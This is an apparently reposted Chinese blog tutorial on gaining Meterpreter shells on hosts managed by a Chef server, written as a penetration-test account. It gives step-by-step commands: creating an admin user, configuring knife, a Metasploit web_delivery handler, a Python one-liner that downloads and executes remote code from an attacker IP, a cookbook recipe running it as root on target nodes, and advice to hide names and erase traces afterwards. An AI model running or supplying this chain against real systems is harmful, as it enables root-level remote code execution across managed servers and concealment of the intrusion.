小编给大家分享一下怎么获取Chef服务器的Meterpreter Shell,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!
主要是想警告使用Chef的朋友,你们的管理员账户很可能早已在Chef web interface中泄露。管理员通常无法设置默认管理凭据。在这种情况下,Chef server主页将为你提供。
在最近的一次渗透测试中,我成功拿下了一台Chef server。然而对于Chef我并不了解,我使用较多的是Puppet,可以说在系统方面的大部分时间我都在使用Puppet。由于此前我从未遇到过Chef,因此我需要在最短的时间内,找出一个可以使用Chef基础架构shell一定范围内所有敏感主机的方法。以下是我的实行过程。
注意:所有这些很可能都是从命令行执行的。我通过Chef web interface获取了一个帐户,并且大部分时间都花在了GUI上。如果你知道如何在命令行上完成这些操作,你可以通过我的联系方式告知我。谢谢!
首先,需要创建一个新的管理用户用于上传cookbooks。如果你手头已经有一个使用习惯的管理用户,那么你可以忽略这一步。
记下创建新管理用户后界面为你提供的专用RSA密钥。
如果你还没有安装过Chef,那么请在你的攻击机上安装它。出现提示时请输入Chef URL。使用Chef server在其SSL证书中的主机名(不是IP地址或别名/cname),否则最终将导致你可能无法使用knife连接。
apt-get install chef
安装完成后,配置knife连接到Chef server。确保输入的URL和用户名无误。其他选项你可以设置为默认。
knife configure
将你的私有RSA密钥写入~/.chef目录(.pem文件)中。同时,请确保你已相应地配置了你的~/.chef/knife.rb文件。
使用你的私钥,下载Chef server的证书并验证knife连接是否正常工作。使用以下命令来执行此操作。
knife ssl fetch knife ssl check
快速浏览可用的cookbooks,确保knife连接正常。
knife cookbook list
现在,你需要创建一个cookbook和recipe。我使用以下命令来执行此操作。但该命令似乎已被弃用,你可以根据提示来替换该命令。
knife cookbook create evil
接着,我们来启动Metasploit,并创建一个web-delivery multi-handler。这里我选择使用的是python multi-handler payload。
use exploit/multi/script/web_delivery set SRVPORT 8080 set SRVHOST 192.168.0.223 set URIPATH 2w9kwS11 set PAYLOAD python/meterpreter/reverse_tcp set LHOST 192.168.0.223 set LPORT 8443 set TARGET 0 run
成功执行后,我们将会获取到以下输出结果:
python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());"
填充你的cookbook模板文件。下面所有你需要的都在recipes/default.rb中。
execute "evil_commands" do command "python -c /"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());/"" user "root" action :run end
填充metadata.rb文件。以下为演示,在实际操作中请尽量避免使用类似于 'evil' 或 'pwnage' 等字符串。
是时候把你的Cookbook上传到服务器上了。
knife cookbook upload evil
请确认你的cookbook现在是否已存在于Chef服务器中。你可以在命令行或Web界面中执行以下操作。
knife cookbook list | grep evil
导航到网站上的“Cookbooks”列表。
将cookbook recipe分配给你想要shell的目标,并将其添加到每个节点的运行列表中。 转到节点列表,单击你感兴趣的节点,单击Edit。
在左下栏的'Available Recipes'列表中找到你的cookbook recipe,然后将其拖到右上角的 'Run List' 中。点击底部的 'Save Node'按钮提交更改。
看!成功获取到了一个meterpreter shell。
为了操作的安全性,一旦你成功获取到了shell连接,请返回到web界面,并从已成功连接的节点运行列表中删除recipe。你不需要从相同的端点产生多个shell。
在完成你的任务后,请务必清除你与之交互过的系统中存在的任何痕迹。kill你的Meterpreter会话,删除你创建的管理用户以及recipe。你可以通过以下命令完成。
关闭会话:
sessions -K
主机与knife的连接:
knife cookbook delete evil
以上是“怎么获取Chef服务器的Meterpreter Shell”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注亿速云行业资讯频道!
原创文章,作者:3628473679,如若转载,请注明出处:https://blog.ytso.com/222566.html